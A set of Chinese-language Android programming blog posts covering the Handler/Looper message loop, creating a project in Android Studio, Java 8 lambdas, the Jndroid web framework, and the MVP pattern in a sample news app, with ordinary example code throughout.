    .obtainMessage(int what, int arg1, int arg2, Object obj)
    .sendToTarget();

Handler.obtainMessage(...) 方法从公共循环池里获取消息（如果没有的话，它会创建新的实例），并传入消息的各个字段。这样可以避免创建新的Message实例，提高效率。
Message.sendToTarget()方法只执行了一条语句target.sendMessage(this)，这就是上文提到的target字段的别的用处。这样就把消息放入了队列。

使用Handler处理消息

这是消息循环的核心源码，一个死循环：

// Looper.loop()
109    public static void loop() {
110        final Looper me = myLooper();
114        final MessageQueue queue = me.mQueue;
115
121        for (;;) {
122            Message msg = queue.next(); // might block 没有消息则阻塞。
123            if (msg == null) {
                    // 收到空消息就退出。
124                // No message indicates that the message queue is quitting.
125                return;
126            }
                // 这就是前面提到的target字段的作用：知道把出队的消息交给谁。
135            msg.target.dispatchMessage(msg);
153        }
154    }

下面就开始dispatchMessage：

// Handler.dispatchMessage()
93     public void dispatchMessage(Message msg) {
            // 上文提到的，发送消息时，Runnable对象在内部被转成了Message对象的`callback`字段；
            // 若callback不为空，那么消息就是一个runnable对象，那么就执行它；
94         if (msg.callback != null) {
95             handleCallback(msg);
96         } else {
                // 如果不是runnable，那么就是Message对象了：
                // 上文只讲了使用默认构造器创建handler，也可以Handler(Callback callback);
                // 这样就为每个handler设置了各自的callback，优先执行它；
97             if (mCallback != null) {
98                 if (mCallback.handleMessage(msg)) {
99                     return;
100                }
101            }
                // 如果handler对象没有自己的callback，那么就执行这个方法；
                // 这是一个空方法，当通过默认构造器新建一个handler时需要覆写它。
102            handleMessage(msg);
103        }
104    }

理论知识已经具备了，那么接下来，在1个典型的应用场景中使用它们解决我们的问题。

一个demo使用后台线程完成下载任务

这段代码截取自《Android权威编程指南》第26, 27章，作者构建了一个这样的App：下载Flicker上最新的100张缩略图，并填充到GridView内。首先通过AsyncTask线程获取包含缩略图url信息的XM文件；然后下载那些url指向的缩略图。这里需要思考的是，何时下载这些缩略图，是一次下载完？还是下载一部分？由谁触发下载？下载后怎样填充到GridView内？
解决了这些问题，就基本掌握了创建后台线程，并和主线程通信的方法。

public class PhotoGalleryFragment extends Fragment {
    ThumbnailDownloader<ImageView> mThumbnailDownloader;

    @Override
    public void onCreate(Bundle savedInstanceState) {
        mThumbnailDownloader = new ThumbnailDownloader<ImageView>(new Handler());
        mThumbnailDownloader.setOnThumbnailDownloadListener(new OnThumbnailDownloadListener<ImageView>() {
            public void onThumbnailDownloaded(ImageView imageView, Bitmap bitmap) {
                imageView.setImageBitmap(bitmap);
            }
        });
        mThumbnailDownloader.start();
        mThumbnailDownloader.getLooper();
    }

    @Override
    public void onDestroy() {
        mThumbnailDownloader.quit();
    }

    private class GalleryItemAdapter extends ArrayAdapter<GalleryItem> {
        @Override
        public View getView(int position, View convertView, ViewGroup parent) {
            ImageView imageView;
            String url;
            // 对于需要显示在GridView视图中的成百上千张图片，我们不可能一次下载完然后显示；
            // 只能在需要显示时下载，而GridView的adapter知道什么时候显示哪些视图；
            // 所以我们在此处安排后台线程的下载任务。
            mThumbnailDownloader.queueThumbnail(imageView, url);
            return convertView;
        }
    }
}


public class ThumbnailDownloader<Token> extends HandlerThread {
    private static final String TAG = "ThumbnailDownloader";
    private static final int MESSAGE_DOWNLOAD = 0;

    Handler mHandler;
    Map<Token, String> requestMap = Collections.synchronizedMap(new HashMap<Token, String>());

    Handler mResponseHandler;
    OnThumbnailDownloadListener<Token> mOnThumbnailDownloadListener;

    public interface OnThumbnailDownloadListener<Token> {
        void onThumbnailDownloaded(Token token, Bitmap thumbnail);
    }

    public void setOnThumbnailDownloadListener(OnThumbnailDownloadListener<Token> l) {
        mOnThumbnailDownloadListener = l;
    }

    public ThumbnailDownloader(Handler responseHandler) {
        super(TAG);
        // 后台线程能在主线程上完成任务的一种方式是，让主线程将其自身的Handler传给后台线程；
        // mResponseHandler始终和主线程保持关联，由它发送的消息都将在主线程中得到处理。
        mResponseHandler = responseHandler;
        // 我们也可以传递主线程的context，通过下述方式获取主线程的handler:
        // mResponseHandler = new Handler(mContext.getMainLooper());
    }

    public void queueThumbnail(Token token, String url) {
        // requestMap是一个同步HashMap。 使用Token作为key，可存储或获取与特定Token关联的URL.
        requestMap.put(token, url);
        // mHandler是和后台线程关联的，我们开放这个方法给主线程，主线程调用这个方法来安排后台线程的任务。
        // 我们把下载信息封装成message后放入后台线程的收件箱。
        mHandler.obtainMessage(MESSAGE_DOWNLOAD, token).sendToTarget();
    }

    @Override
    protected void onLooperPrepared() {
        // onLooperPrepared()方法发生在Looper.loop()之前，此时消息还没有开始循环，
        // 所以是我们实现mHandler的好地方，在此处下载。
        mHandler = new Handler() {
            @Override
            public void handleMessage(Message msg) {
                if (msg.what == MESSAGE_DOWNLOAD) {
                    Token token = (Token)msg.obj;
                    handleRequest(token);
                }
            }
        };
    }

    private void handleRequest(final Token token) {
        // 下载，并根据获取的数据构建Bitmap对象；
        final String url = requestMap.get(token);
        final Bitmap bitmap;
        // 下载完成后，我们在后台线程使用与主线程关联的handler，安排要在主线程上完成的任务。
        // 除了post，我们也可以sendMessage给主线程，那么主线程的handler需要覆写自己的handleMessage()方法。
        mResponseHandler.post(new Runnable() {
            @Override
            public void run() {
                if (mOnThumbnailDownloadListener != null) {
                    mOnThumbnailDownloadListener.onThumbnailDownloaded(token, bitmap);
                }
            }
        });
    }
}

后记和参考

强烈建议阅读《Android权威编程指南》第26, 27这两章代码。
本书的官方主页链接 可以从这里获取本书的源码
但我在学习这两个章节的时候，有些概念和类的描述理解很吃力，比如“消息循环由一个线程和一个looper组成。 Looper对象管理着线程的消息队列”，又比如“一个Handler仅与一个Looper相关联，一个Message 也仅与一个目标Handler”。
因为作者着重讲解app的实现思路，对涉及到的类只给出了结论，没有说明为什么。所以初学时很费解，实际编程时也是只知其然不知其所以然。后来读了些博文（下面给出了链接），又阅读了源码，总算厘清了这些类，而这篇文章就是我理解后的一个产物。

下面是3个作者的4篇博文，总结的都很棒，侧重于源码分析。尤其是第2篇，作者最后画了一张图，通过传送带来解释涉及到的类和概念：“在现实生活的生产生活中，存在着各种各样的传送带，传送带上面洒满了各种货物，传送带在发动机滚轮的带动下一直在向前滚动，不断有新的货物放置在传送带的一端，货物在传送带的带动下送到另一端进行收集处理。”


	Android中Handler的使用 - iSpring的CSDN博客


	深入源码解析Android中的Handler,Message,MessageQueue,Looper - iSpring的CSDN博客


	android的消息处理机制（图+源码分析）——Looper,Handler,Message - CodingMyWorld的cnblog


	Android异步消息处理机制完全解析，带你从源码的角度彻底理解 - 郭霖的CSDN专栏




下面就是源码链接了，对于理解android的消息处理机制非常有帮助。


	Handler源码链接


	HandlerThread源码链接


	Message源码链接


	Looper源码链接
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  注： 这是为想入门Android的新手准备的一篇文章




想学习写Android App么？ 其实很简单，哦，再简单之前，也要先学java。


.......


好了，你入门java了，那就可以来看看用一天时间写一个App是多么容易。

我们来写个记事本吧。


OK，先下载Android Studio，Android Studio是Google官方推荐的IDE，能快速的开发Android App.


下载地址 http://developer.android.com/sdk/index.html


第一步创建工程


我们新建一个项目，点Start a new Android Studio project 即可。





第二步 输入一些项目的属性。


Application name就是你应用的名称，Company Domain是你公司的域名，如果你是个人开发者，就写你自己的域名即可。
Package name是包名，理论上要求在地球范围内唯一，它标识了你这个App。





第三步 输入支持的最低版本的SDK


这里我们只创建手机和平板应用。Minimum SDK是什么呢？比如你如果选择Android 5.0，那么5.0以下的设备就不能安装你的App，兼容性越差。 我们知道Android每次更新版本都会增加许多新特性，也就意味着Android SDK版本越高，特性越多，兼容性越差。 如果你的App受众很大，建议选择低版本的SDK，并采用一些替代方案来实现你要的功能，我们这里如果只是为了学习SDK，可以直接使用Lollipop，否则我推荐IceScreamSandwich。



第四步 创建一个页面


这里要介绍下，Android中的UI都是通过Activity来呈现，一个Activity可以理解成你看到的“窗口”，你从一个列表跳到一个详情，可以简单的认为从一个Activity跳到另外一个Activity。这里Android Studio会通过向导模式帮你创建一个入口Activity，我们可以选择不创建，或者第一个空白Activity（Blank Activity）



第五步 设置Activity的属性


这一步可以设置Activity的java类名，Activity的布局，Activity显示的标题以及菜单的资源。
Activity通过布局文件（layout）来决定显示怎么样的界面，Title是Activity顶部显示的一行文本，menu是Android手机点menu键或者点右上角的...显示的菜单。





完成创建


点击finish，一个工程就创建完了，这就是最基本的创建工程的步骤。



  本文提到的项目源码地址：https://github.com/geminiwen/tudounotepad

  欢迎留言Github或者@geminiwen




 Java 8的Lambda及其在Android 开发中的应用

作者：小创

来源： Java 8的Lambda及其在Android 开发中的应用



                    
上次在盆友圈发了一张照片



上面的两段代码是完全等效的，但是代码行数从11行降低到了一行，更不用说在第一段代码里面，我在run方法的前后以及内部都没有加入任何的空行。由此可以看出，使用lambda可以让你的Java代码在某些情况下达到何等的简洁。
那么问题来了。。。

什么叫lambda呢？

Java 8 给我们带来了lambda，然而在Oracle的文档中，我没有找到lambda的定义，wikipedia里面也没有找到适合Java中的lambda的定义。写这篇文章的时候，我在这里 看到一篇很好的介绍lambda的文章，它里面给了一个定义，我觉得还挺合适的。

A lambda expression is a block of code with parameters.



lambda的写法

首先列举一个完整的lambda expression：

(int a, int b) -> {
    System.out.println("Performing add operation...");
    return a+b;
}

一个lambda expression由三部分组成：


	参数：(int a, int b)是这个lambda expression的参数部分，包括参数类型和参数名


	箭头：->


	代码块：就是用"{}"包含着的那两句代码。




上面说的是一个完整的lambda表达式，在很多情况下，很多东西是可以省略的。比如说，当系统可以根据上下文自动推断出参数的类型的时候，参数类型是可以省略的。这样的话就可以写成：

(a, b) -> {
    System.out.println("Performing add operation...");
    return a+b;
}

系统怎么自动推断出参数类型的呢？这个在下面我们就可以看到。
再比如，如果只有一个参数，而参数的类型又可以自动判断，那么连()也是可以省略的，那么就写成了：

a -> {
    System.out.println("Performing add operation...");
    return a+a;
}

再再比如，如果代码块里面只有一行代码，那么{}也是可以省略的，那么就写成了：

a ->
    return a+a;

是的，可以写在同一行

a -> return a+a;

让我们更进一步，在这里，return其实也是没必要的。

a -> a+a;

Great, 如果没有参数的话，是不是就可以写成：

-> a+a

呢？
很可惜，答案是否定的。如果没有参数，那么前面的()是必须存在的。也就是说，必须写成：

()-> a+a

lambda的用法

实际上，如果你直接把上面的代码放到你的编辑器里面，你的IDE是会报错的，因为lambda是不能这样使用的。lambda的使用永远要跟一个叫做Functional Interface的东西绑定在一起。什么叫Functional Interface呢？Functional Interface也是Java8 中引入的概念.是的，是为了lambda。我们知道java中的interface，而Functional Interface其实就是一个只定义了一个抽象方法的interface。比如Runnable 这个interface就只有一个run方法，那么它就是一个Functional Interface。
如果你对“重复”这件事情比较敏感的话，你可能又有疑问了，什么叫只定义了一个抽象方法的interface？interface中的方法不都是抽象的吗？你这个是病句吧，重复了。。。Well，在java8以前是这样的，然而在java8中，Java引进了default method的概念，说白了就是带有具体实现的方法：

public interface DuckInterface {
    public void wwwalksLikeADuck();
    public default void tttalksLikeADuck() {
        System.out.println("Quack!");
    }
}

在上面的例子中，tttalksLikeADuck()就是一个default method，注意到这个方法的定义中有一个“default”修饰符。相信很多人会觉得这是个非常有用的feature，我也是这样觉得的。
再说回Functional Interfacel和lambda。刚刚说到，lambda必须和Functional Interface配套使用，那怎么配套使用呢？
以安卓里面的View.OnClickListener为例（它也是个Functional Interface）如果没有lambda，我们经常会这样使用的。

View.OnClickListener onClickListener = new View.OnClickListener() {    
    @Override
    public void onClick(View view) {
        handleClick();
    }
});
findViewById(R.id.someView).setOnClickListener(onClickListener);

或者直接使用匿名内部类：

findViewById(R.id.someView).setOnClickListener(new View.OnClickListener() {    
    @Override
    public void onClick(View view) {
        handleClick();
    }
});

在上面的5行代码中，有用的其实只有handleClick()，而我们却必须用5行代码去处理，这是非常繁琐的。在Java 8以前的世界，这样的代码非常多。有一个专门的名词来称呼这种性质的代码，叫“boilerplate code”，我不知到中文叫什么。。。
现在好了，有了lambda，我们可以这样写:

View.OnClickListener onClickListener = view -> handleClick();
findViewById(R.id.someView).setOnClickListener(onClickListener);

匿名内部类的版本：

findViewById(R.id.someView).setOnClickListener(view -> handleClick());

是不是瞬间觉得简洁优雅了？
从上面的例子可以看到，lambda其实就相当于简化了Functional Interface的实例的创建。当然，从真正意义上来讲，lambda的意义不止这么一点点，只不过从使用的角度来看，你可以这样看待。

从lambda到Functional Programming

这里稍微讨论一下关于lambda的其他一些特性。
在上面的例子中

View.OnClickListener onClickListener = view -> handleClick();
findViewById(R.id.someView).setOnClickListener(onClickListener);

这里，你既可以吧onClickListener看作是OnClickListener的一个instance，也可以把它看做一个代码块，后面的那句findViewById(R.id.someView).setOnClickListener(onClickListener);就相当于是吧这个代码块传给了view.setOnClickListener()这个函数。也就是说，从某种意义上来讲，你可以把lambda看作是可以相互传递的代码块。而传递代码块，是Functional Programming（一下简称FP）非常重要的一个特征，虽然说这两者其实没有什么对等关系。因为FP的本质特征是，运行一段代码并不会改变事物的状态，也就是说，没有side-effect。而lambda里面是可以调用所在的类的成员方法的、也可以访问和修改所在类的成员变量的。  
话说回来，关于FP我也不是了解的很多，我本身并没有多少FP的经验，虽然对Ruby有一定了解，但Ruby也只是“可以比较好的进行”FP而已，也不是纯粹的FP语言。纯粹的FP语言是List（包括Scheme，Clojure）、Haskell、ML等等这些。关于FP，Robert Martin（就是《Clean code》和《The Clean Coder》的作者）有一个讲得很好的视频在这里。  
刚刚讲到，lambda的代码块可以访问所在类的成员变量和成员方法，那对于局部变量？  
我们知道，方法内部定义的匿名类是可以访问所在方法的final局部变量的，作为Functional Interface的简写方式，lambda在这点上面跟匿名类保持了一致。也就是说，lambda可以访问定义它的那个方法的final局部变量。而在Java8里面，lambda还可以访问所谓“Effectively final”的局部变量。所谓“Effectively final”的局部变量，就是说除了在定义的时候给了一个初始值以为，在没有改变过她的值的那些局部变量：

int age = 26;    //在这里，age就是Effectively final的局部变量
Runnable r = () -> System.out.println("My age is "+age);
new Thread(r).start();

在Android开发中的应用

可是！！！Android只支持Java 7啊？怎么办？莫急，要相信网友的力量，已经有人开发了gradle的插件，可以将java 8中的labmda表达式在编译出来的bytecode里面，给它转化成Java 7兼容的代码。猛戳这里，使用方法那个页面都用，在这里就不赘述了。

如果对文章有任何意见或建议，或者是发现文中有任何问题欢迎留言！

作者 小创 更多文章 | Github | 公众号


 Jndroid——用应用开发的思路来开发 Web

作者：绿茶浏览器

来源： Jndroid——用应用开发的思路来开发 Web



                    
  我们都知道，WebApp 开发不外乎 HTML + CSS + JavaScript 三者。但是众所周知，前端开发虽然入门非常容易，但是要开发的好却是非常困难，由于一些历史原因，很多时候要做好一个好的 WebApp 需要前端开发人员经验和技术上都有比较好的积累。另外，因为一些历史原因，CSS 已经是一套非常复杂的系统，一样的布局有着几乎无数的实现方式，一不小心还容易掉入浏览器给你挖的坑里。总之，目前看来，要开发一个优秀的 WebApp 并不是一件易事。


  当然，许多公司都意识到了这些问题，才有了今天前端框架百花齐放的景象，AngularJS,BackBone，最近大红大紫的 React.js 还有G家的 Polymer 等等，无不是希望通过一些方法来解决开发的痛点。但是今天的主角并不是这些已经耳熟能详的框架们，而是一个刚刚出现的新生命——Jndroid。


  Jndroid  是什么？Jndroid 是把 Android 写 App 的一套思路和 API 放到了写 WebApp 上。主要是方便移动App 开发者需要写一个 WebApp 的时候，如果并没有很好的前端基础，那么可以简单的学一下 Javascript 的基础语法，便可以开始写 WebApp 程序。


  Jndroid 的开发团队认为，既然现在 WebApp 是一个 App 而不是一个页面，那么我们就应该去借鉴移动端开发已经很完善的一套开发思路去进行开发，这样不仅仅开发上面会更加合理和容易，而且做出来的 App 也会显得非常有逻辑性和很好的交互性。


  当然，这个框架还是很年轻的，也有很多地方还有值得改进的地方，但是目前来说这个框架以及足矣写不少 WebApp 了。


俗话说得好：



  "Talk is cheap, Show me the code. "




那么让我们从零开始来试试这个框架:


第一部分：建立一个基本的 HTML 页面并且包含 Jndroid 框架


  首先我们创建一个 Demo.html 文件，并且用你喜欢的编辑器输入以下内容。


HTML<!DOCTYPE html>
<html>
  <head>
   <script src="http://file.gtbrowser.cn/jndroid/jndroid.min.js"></script>
  </head>
  <body>
  </body>
</html>



  这一步，我们只是把 Jndroid 整个框架导入到了当前的页面之中，到此为止我们已经部署好了所有 Jndroid 需要的依赖，之后就是开始正式开发啦。


第二部分：做一个简单的 Hello World


  没错，第二步就可以把 Hello World 做完。Jndroid 的 API 参考了 Android API 的格式，所以基本的逻辑就是创建 View ，把 View 的层级安排好，通过调用setContentView 以及addView 这些 API 来把界面插入到页面中去。让我们看看 Hello World 的代码，便可以一目了然了。


HTML<!DOCTYPE html>
<html>
<head>
    <script src="http://file.gtbrowser.cn/jndroid/jndroid.js"></script>
</head>
<body>


<script>
    /* 创建一个 FrameLayout 用来作为当前的 RootView */
    var mLayout = new FrameLayout();
    mLayout.setBackgroundColor(0x1a000000);

    /* 没有Activity，直接setContentView就可以得到一个全屏的视图 */
    setContentView(mLayout);

    var mTextView = new TextView();
    mTextView.setText("helle world");
    mLayout.addView(mTextView);

</script>


</body>
</html>



  至此，你的编码工作已经完成。在浏览器里打开 Demo.html 你就可以看到一个显示了 hello world 的页面了。


第三部分：对一个自定义的视图进行排版


  上面的例子只是讲述了最基本的视图创建和添加。那么如果我们需要对视图进行定位和排版应该怎么做呢？ Jndroid 借鉴了 Android 视图排版的思路，通过 onMeasure 来确定当前视图大小，通过 onLayout 来确定当前 View 所在的位置。是不是听起来有点晕？不要紧张，其实写起来非常简单，下面让我们再来看一段代码你就明白了。


HTML<!DOCTYPE html>
<html>
<head>
<script src="http://file.gtbrowser.cn/jndroid/jndroid.min.js"></script>
</head>
<body>


<script>
var mView = new MyView();

function MyView() {
    ViewGroup.apply(this, []);
    this.setBackgroundColor(0x1a000000);

    var mChild = new View();
    mChild.setBackgroundColor(0xff009688);
    this.addView(mChild);

    this.onMeasure = function(widthMS, heightMS) {
        var width = MeasureSpec.getSize(widthMS);
        var height = MeasureSpec.getSize(heightMS);
        mChild.measure(MeasureSpec.makeMeasureSpec(width / 4, MeasureSpec.Exactly),
            MeasureSpec.makeMeasureSpec(height / 4, MeasureSpec.Exactly));
        this.setMeasuredDimension(width, height);
    }

    this.onLayout = function(x, y) {
        mChild.layout(50, 100);
    }
}

setContentView(mView);
</script>


</body>
</html>



  看到这里，相信你已经了解了 Jndroid 的基本思路，就是和做一个 Android App 一样的思路去制作一个 WebApp，到此我们只需要把上面代码保存成 html 就可以看到效果啦。当然你也可以把代码单独写在外置的 .js 文件中，这样只需要在<body></body> 标签中包含你的源代码就可以看到效果。


贴个截图：





  嗯，和 Android 里面的画个 View 的效果很接近吧。


  最后，该框架已经开源 GTBrowser/Jndroid.js， 欢迎 Fork 以及 PR。


PS: Jndroid 官网就是用 Jndroid 本身书写的，也可以作为一个 Demo 参考哟。


作者：zerob13@绿茶浏览器
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作者：lauren_liuling
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以前在写项目的时候，没有过多考虑架构模式的问题，因为之前一直做J2EE开发，而J2EE都是采用MVC模式进行开发的，所以在搭建公司项目的时候，也是使用类似MVC的架构（严格来讲，之前的项目还算不上MVC模式，只是简单将网络请求与界面分离，然后通过Handle通知更新界面）。这种写法，在后面随着项目越来越大，Activty或者Fragment中代码也会越来越多，导致项目的维护变的越来越复杂。所以需要另外一种架构模式来解决这个问题，在网上浏览了一圈，发现适合Android开发的架构模式非MVP莫属了。

网上一搜，讲MVP模式的文章比比皆是。但是大多都是讲理论，稍微好点的会附带一个简单的登录的demo。一个简单的demo很难让初次接触MVP模式的人掌握它的使用。所以我决定写一个稍微复杂一点的新闻客户端SimpleNews（当然只是相对登录的demo）来展示MVP在具体项目中的使用。另外SimpleNews还使用了Material Design，也是学习Material Design的一个好Demo。

好了，切入正文吧。先讲一下MVP的概念。

什么是MVP

MVP是模型（Model）、视图（View）、主持人（Presenter）的缩写，分别代表项目中3个不同的模块。


	模型（Model）：负责处理数据的加载或者存储，比如从网络或本地数据库获取数据等；


	视图（View）：负责界面数据的展示，与用户进行交互；


	主持人（Presenter）：相当于协调者，是模型与视图之间的桥梁，将模型与视图分离开来。




如下图所示，View与Model并不直接交互，而是使用Presenter作为View与Model之间的桥梁。其中Presenter中同时持有Viwe层以及Model层的Interface的引用，而View层持有Presenter层Interface的引用。当View层某个界面需要展示某些数据的时候，首先会调用Presenter层的某个接口，然后Presenter层会调用Model层请求数据，当Model层数据加载成功之后会调用Presenter层的回调方法通知Presenter层数据加载完毕，最后Presenter层再调用View层的接口将加载后的数据展示给用户。这就是MVP模式的整个核心过程。


这样分层的好处就是大大减少了Model与View层之间的耦合度。一方面可以使得View层和Model层单独开发与测试，互不依赖。另一方面Model层可以封装复用，可以极大的减少代码量。当然，MVP还有其他的一些优点，这里不再赘述。下面看下MVP模式在具体项目中的使用。

MVP模式在项目中的使用

View层

View层新闻展示模块的是组件是Fragment，里面有一个RecyclerView、SwipeRefreshLayout。布局代码如下：

<?xml version="1.0" encoding="utf-8"?>
<android.support.v4.widget.SwipeRefreshLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:id="@+id/swipe_refresh_widget"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
    <android.support.v7.widget.RecyclerView
        android:id="@+id/recycle_view"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:scrollbars="vertical"
        app:layout_behavior="@string/appbar_scrolling_view_behavior"
        android:paddingTop="@dimen/card_margin">
    </android.support.v7.widget.RecyclerView>
</android.support.v4.widget.SwipeRefreshLayout>

新闻列表模块主要是展示从网络获取的新闻列表信息，View层的接口大概需要如下方法：


	加载数据的过程中需要提示“正在加载”的反馈信息给用户


	加载成功后，将加载得到的数据填充到RecyclerView展示给用户


	加载成功后，需要将“正在加载”反馈信息取消掉


	若加载数据失败，如无网络连接，则需要给用户提示信息




根据上面描述，我们将View层的接口定义如下，分别对应上面四个方法：

public interface NewsView {
    void showProgress();
    void addNews(List<NewsBean> newsList);
    void hideProgress();
    void showLoadFailMsg();
}

在新闻列表Fragment中实现上述接口：

package com.lauren.simplenews.news.widget;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.design.widget.Snackbar;
import android.support.v4.app.ActivityCompat;
import android.support.v4.app.ActivityOptionsCompat;
import android.support.v4.app.Fragment;
import android.support.v4.widget.SwipeRefreshLayout;
import android.support.v7.widget.DefaultItemAnimator;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.lauren.simplenews.R;
import com.lauren.simplenews.beans.NewsBean;
import com.lauren.simplenews.commons.Urls;
import com.lauren.simplenews.news.NewsAdapter;
import com.lauren.simplenews.news.presenter.NewsPresenter;
import com.lauren.simplenews.news.presenter.NewsPresenterImpl;
import com.lauren.simplenews.news.view.NewsView;
import com.lauren.simplenews.utils.LogUtils;
import java.util.ArrayList;
import java.util.List;
/**
 * Description : 新闻Fragment
 * Author : lauren
 * Email  : lauren.liuling@gmail.com
 * Blog   : http://www.liuling123.com
 * Date   : 15/12/13
 */
public class NewsListFragment extends Fragment implements NewsView, SwipeRefreshLayout.OnRefreshListener {
    private static final String TAG = "NewsListFragment";
    private SwipeRefreshLayout mSwipeRefreshWidget;
    private RecyclerView mRecyclerView;
    private LinearLayoutManager mLayoutManager;
    private NewsAdapter mAdapter;
    private List<NewsBean> mData;
    private NewsPresenter mNewsPresenter;
    private int mType = NewsFragment.NEWS_TYPE_TOP;
    private int pageIndex = 0;
    public static NewsListFragment newInstance(int type) {
        Bundle args = new Bundle();
        NewsListFragment fragment = new NewsListFragment();
        args.putInt("type", type);
        fragment.setArguments(args);
        return fragment;
    }
    @Override
    public void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mNewsPresenter = new NewsPresenterImpl(this);
        mType = getArguments().getInt("type");
    }
    @Nullable
    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_newslist, null);
        mSwipeRefreshWidget = (SwipeRefreshLayout) view.findViewById(R.id.swipe_refresh_widget);
        mSwipeRefreshWidget.setColorSchemeResources(R.color.primary,
                R.color.primary_dark, R.color.primary_light,
                R.color.accent);
        mSwipeRefreshWidget.setOnRefreshListener(this);
        mRecyclerView = (RecyclerView)view.findViewById(R.id.recycle_view);
        mRecyclerView.setHasFixedSize(true);
        mLayoutManager = new LinearLayoutManager(getActivity());
        mRecyclerView.setLayoutManager(mLayoutManager);
        mRecyclerView.setItemAnimator(new DefaultItemAnimator());
        mAdapter = new NewsAdapter(getActivity().getApplicationContext());
        mAdapter.setOnItemClickListener(mOnItemClickListener);
        mRecyclerView.setAdapter(mAdapter);
        mRecyclerView.setOnScrollListener(mOnScrollListener);
        onRefresh();
        return view;
    }
    private RecyclerView.OnScrollListener mOnScrollListener = new RecyclerView.OnScrollListener() {
        private int lastVisibleItem;
        @Override
        public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
            super.onScrolled(recyclerView, dx, dy);
            lastVisibleItem = mLayoutManager.findLastVisibleItemPosition();
        }
        @Override
        public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
            super.onScrollStateChanged(recyclerView, newState);
            if (newState == RecyclerView.SCROLL_STATE_IDLE
                    && lastVisibleItem + 1 == mAdapter.getItemCount()
                    && mAdapter.isShowFooter()) {
                //加载更多
                LogUtils.d(TAG, "loading more data");
                mNewsPresenter.loadNews(mType, pageIndex + Urls.PAZE_SIZE);
            }
        }
    };
    private NewsAdapter.OnItemClickListener mOnItemClickListener = new NewsAdapter.OnItemClickListener() {
        @Override
        public void onItemClick(View view, int position) {
            NewsBean news = mAdapter.getItem(position);
            Intent intent = new Intent(getActivity(), NewsDetailActivity.class);
            intent.putExtra("news", news);
            View transitionView = view.findViewById(R.id.ivNews);
            ActivityOptionsCompat options =
                    ActivityOptionsCompat.makeSceneTransitionAnimation(getActivity(),
                            transitionView, getString(R.string.transition_news_img));
            ActivityCompat.startActivity(getActivity(), intent, options.toBundle());
        }
    };
    @Override
    public void showProgress() {
        mSwipeRefreshWidget.setRefreshing(true);
    }
    @Override
    public void addNews(List<NewsBean> newsList) {
        mAdapter.isShowFooter(true);
        if(mData == null) {
            mData = new ArrayList<NewsBean>();
        }
        mData.addAll(newsList);
        if(pageIndex == 0) {
            mAdapter.setmDate(mData);
        } else {
            //如果没有更多数据了,则隐藏footer布局
            if(newsList == null || newsList.size() == 0) {
                mAdapter.isShowFooter(false);
            }
            mAdapter.notifyDataSetChanged();
        }
        pageIndex += Urls.PAZE_SIZE;
    }
    @Override
    public void hideProgress() {
        mSwipeRefreshWidget.setRefreshing(false);
    }
    @Override
    public void showLoadFailMsg() {
        if(pageIndex == 0) {
            mAdapter.isShowFooter(false);
            mAdapter.notifyDataSetChanged();
        }
        Snackbar.make(getActivity().findViewById(R.id.drawer_layout), getString(R.string.load_fail), Snackbar.LENGTH_SHORT).show();
    }
    @Override
    public void onRefresh() {
        pageIndex = 0;
        if(mData != null) {
            mData.clear();
        }
        mNewsPresenter.loadNews(mType, pageIndex);
    }
}

Model层

新闻模块的model主要负责从服务器获取新闻列表信息，接口代码如下：

public interface NewsModel {
    void loadNews(String url, int type, NewsModelImpl.OnLoadNewsListListener listener);
    ......
}

实现如下：

package com.lauren.simplenews.news.model;
import com.lauren.simplenews.beans.NewsBean;
import com.lauren.simplenews.beans.NewsDetailBean;
import com.lauren.simplenews.commons.Urls;
import com.lauren.simplenews.news.NewsJsonUtils;
import com.lauren.simplenews.news.widget.NewsFragment;
import com.lauren.simplenews.utils.OkHttpUtils;
import java.util.List;
/**
 * Description : 新闻业务处理类
 * Author : lauren
 * Email  : lauren.liuling@gmail.com
 * Blog   : http://www.liuling123.com
 * Date   : 15/12/19
 */
public class NewsModelImpl implements NewsModel {
    /**
     * 加载新闻列表
     * @param url
     * @param listener
     */
    @Override
    public void loadNews(String url, final int type, final OnLoadNewsListListener listener) {
        OkHttpUtils.ResultCallback<String> loadNewsCallback = new OkHttpUtils.ResultCallback<String>() {
            @Override
            public void onSuccess(String response) {
                List<NewsBean> newsBeanList = NewsJsonUtils.readJsonNewsBeans(response, getID(type));
                listener.onSuccess(newsBeanList);
            }
            @Override
            public void onFailure(Exception e) {
                listener.onFailure("load news list failure.", e);
            }
        };
        OkHttpUtils.get(url, loadNewsCallback);
    }
    ......
    /**
     * 获取ID
     * @param type
     * @return
     */
    private String getID(int type) {
        String id;
        switch (type) {
            case NewsFragment.NEWS_TYPE_TOP:
                id = Urls.TOP_ID;
                break;
            case NewsFragment.NEWS_TYPE_NBA:
                id = Urls.NBA_ID;
                break;
            case NewsFragment.NEWS_TYPE_CARS:
                id = Urls.CAR_ID;
                break;
            case NewsFragment.NEWS_TYPE_JOKES:
                id = Urls.JOKE_ID;
                break;
            default:
                id = Urls.TOP_ID;
                break;
        }
        return id;
    }
    private String getDetailUrl(String docId) {
        StringBuffer sb = new StringBuffer(Urls.NEW_DETAIL);
        sb.append(docId).append(Urls.END_DETAIL_URL);
        return sb.toString();
    }
    public interface OnLoadNewsListListener {
        void onSuccess(List<NewsBean> list);
        void onFailure(String msg, Exception e);
    }
    ......
}

网络请求使用开源项目OkHttp，OkHttpUtils是对其的封装，具体代码如下：

package com.lauren.simplenews.utils;
import android.os.Handler;
import android.os.Looper;
import com.google.gson.internal.$Gson$Types;
import com.squareup.okhttp.Callback;
import com.squareup.okhttp.FormEncodingBuilder;
import com.squareup.okhttp.OkHttpClient;
import com.squareup.okhttp.Request;
import com.squareup.okhttp.RequestBody;
import com.squareup.okhttp.Response;
import java.io.IOException;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.net.CookieManager;
import java.net.CookiePolicy;
import java.util.List;
